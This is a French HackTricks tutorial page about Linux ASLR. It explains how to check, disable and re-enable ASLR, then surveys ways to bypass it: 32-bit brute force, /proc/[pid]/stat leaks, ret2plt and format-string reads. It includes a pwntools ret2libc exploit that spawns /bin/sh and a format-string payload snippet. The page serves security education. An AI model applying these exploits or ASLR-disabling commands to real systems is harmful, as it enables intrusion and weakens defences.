ASLR

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

La randomisation de l'espace d'adressage (ASLR) est une technique de sécurité utilisée dans les systèmes d'exploitation pour randomiser les adresses mémoire utilisées par les processus système et d'application. Ce faisant, il devient significativement plus difficile pour un attaquant de prédire l'emplacement de processus et de données spécifiques, tels que la pile, le tas et les bibliothèques, réduisant ainsi certains types d'exploitations, en particulier les débordements de tampon.

Vérification du statut de l'ASLR

Pour vérifier le statut de l'ASLR sur un système Linux, vous pouvez lire la valeur du fichier /proc/sys/kernel/randomize_va_space. La valeur stockée dans ce fichier détermine le type d'ASLR appliqué :

  • 0 : Aucune randomisation. Tout est statique.

  • 1 : Randomisation conservatrice. Les bibliothèques partagées, la pile, mmap(), la page VDSO sont randomisées.

  • 2 : Randomisation complète. En plus des éléments randomisés par la randomisation conservatrice, la mémoire gérée via brk() est randomisée.

Vous pouvez vérifier le statut de l'ASLR avec la commande suivante :

cat /proc/sys/kernel/randomize_va_space

Désactiver ASLR

Pour désactiver ASLR, vous définissez la valeur de /proc/sys/kernel/randomize_va_space sur 0. Désactiver ASLR n'est généralement pas recommandé en dehors des scénarios de test ou de débogage. Voici comment vous pouvez le désactiver :

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Vous pouvez également désactiver ASLR pour une exécution avec :

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Activation de l'ASLR

Pour activer l'ASLR, vous pouvez écrire une valeur de 2 dans le fichier /proc/sys/kernel/randomize_va_space. Cela nécessite généralement des privilèges root. L'activation d'une randomisation complète peut être effectuée avec la commande suivante :

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistance à travers les redémarrages

Les modifications effectuées avec les commandes echo sont temporaires et seront réinitialisées lors du redémarrage. Pour rendre la modification persistante, vous devez éditer le fichier /etc/sysctl.conf et ajouter ou modifier la ligne suivante :

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Après avoir modifié /etc/sysctl.conf, appliquez les changements avec :

sudo sysctl -p

Cela garantira que vos paramètres ASLR restent inchangés après les redémarrages.

Contournements

Force brute 32 bits

PaX divise l'espace d'adressage du processus en 3 groupes :

  • Code et données (initialisées et non initialisées) : .text, .data, et .bss —> 16 bits d'entropie dans la variable delta_exec. Cette variable est initialisée de manière aléatoire à chaque processus et ajoutée aux adresses initiales.

  • Mémoire allouée par mmap() et bibliothèques partagées —> 16 bits, nommé delta_mmap.

  • La pile —> 24 bits, appelé delta_stack. Cependant, elle utilise effectivement 11 bits (du 10e au 20e octet inclus), alignés sur 16 octets —> Cela donne 524 288 adresses de pile réelles possibles.

Les données précédentes sont pour les systèmes 32 bits et l'entropie finale réduite permet de contourner l'ASLR en réessayant l'exécution encore et encore jusqu'à ce que l'exploit réussisse.

Idées de force brute :

  • Si vous avez un débordement suffisamment important pour accueillir un grand toboggan NOP avant le shellcode, vous pourriez simplement forcer les adresses dans la pile jusqu'à ce que le flux saute par-dessus une partie du toboggan NOP.

  • Une autre option pour cela, dans le cas où le débordement n'est pas si important et que l'exploit peut être exécuté localement, est de ajouter le toboggan NOP et le shellcode dans une variable d'environnement.

  • Si l'exploit est local, vous pouvez essayer de forcer la base de l'adresse de la libc (utile pour les systèmes 32 bits) :

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Lors d'une attaque sur un serveur distant, vous pourriez essayer de forcer l'adresse de la fonction usleep de la libc, en passant 10 comme argument. Si à un moment le serveur met 10 secondes supplémentaires à répondre, vous avez trouvé l'adresse de cette fonction.

Sur les systèmes 64 bits, l'entropie est beaucoup plus élevée et cela n'est pas possible.

Informations locales (/proc/[pid]/stat)

Le fichier /proc/[pid]/stat d'un processus est toujours lisible par tout le monde et il contient des informations intéressantes telles que :

  • startcode & endcode : Adresses au-dessus et en dessous avec le TEXT du binaire

  • startstack : L'adresse du début de la pile

  • start_data & end_data : Adresses au-dessus et en dessous où se trouve le BSS

  • kstkesp & kstkeip : Adresses actuelles de ESP et EIP

  • arg_start & arg_end : Adresses au-dessus et en dessous où se trouvent les arguments de la ligne de commande

  • env_start & env_end : Adresses au-dessus et en dessous où se trouvent les variables d'environnement

Par conséquent, si l'attaquant se trouve sur le même ordinateur que le binaire exploité et que ce binaire ne s'attend pas à un dépassement à partir d'arguments bruts, mais à partir d'une entrée qui peut être créée après la lecture de ce fichier. Il est possible pour un attaquant de récupérer certaines adresses de ce fichier et de construire des décalages à partir d'elles pour l'exploitation.

Pour plus d'informations sur ce fichier, consultez https://man7.org/linux/man-pages/man5/proc.5.html en recherchant /proc/pid/stat

Avoir une fuite

  • Le défi est de donner une fuite

Si vous disposez d'une fuite (dans le cadre de défis CTF faciles), vous pouvez calculer des décalages à partir de celle-ci (en supposant par exemple que vous connaissez la version exacte de la libc utilisée dans le système que vous exploitez). Cet exemple d'exploitation est extrait de l'exemple d'ici (consultez cette page pour plus de détails) :

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

En exploitant un dépassement de tampon, il serait possible d'exploiter un ret2plt pour exfiltrer une adresse d'une fonction de la libc. Vérifiez :

  • Lecture arbitraire de chaînes de format

Tout comme dans ret2plt, si vous avez une lecture arbitraire via une vulnérabilité de chaînes de format, il est possible d'exfiltrer l'adresse d'une fonction libc à partir du GOT. L'exemple suivant est tiré d'ici:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Vous pouvez trouver plus d'informations sur la lecture arbitraire de chaînes de format dans:

Ret2ret & Ret2pop

Essayez de contourner l'ASLR en abusant des adresses à l'intérieur de la pile:

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Last updated